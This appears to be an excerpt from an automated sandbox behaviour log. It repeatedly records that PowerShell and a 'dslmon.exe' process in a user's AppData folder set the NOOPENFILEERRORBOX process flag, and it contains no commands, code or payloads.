Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\DSL Monitor\dslmon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
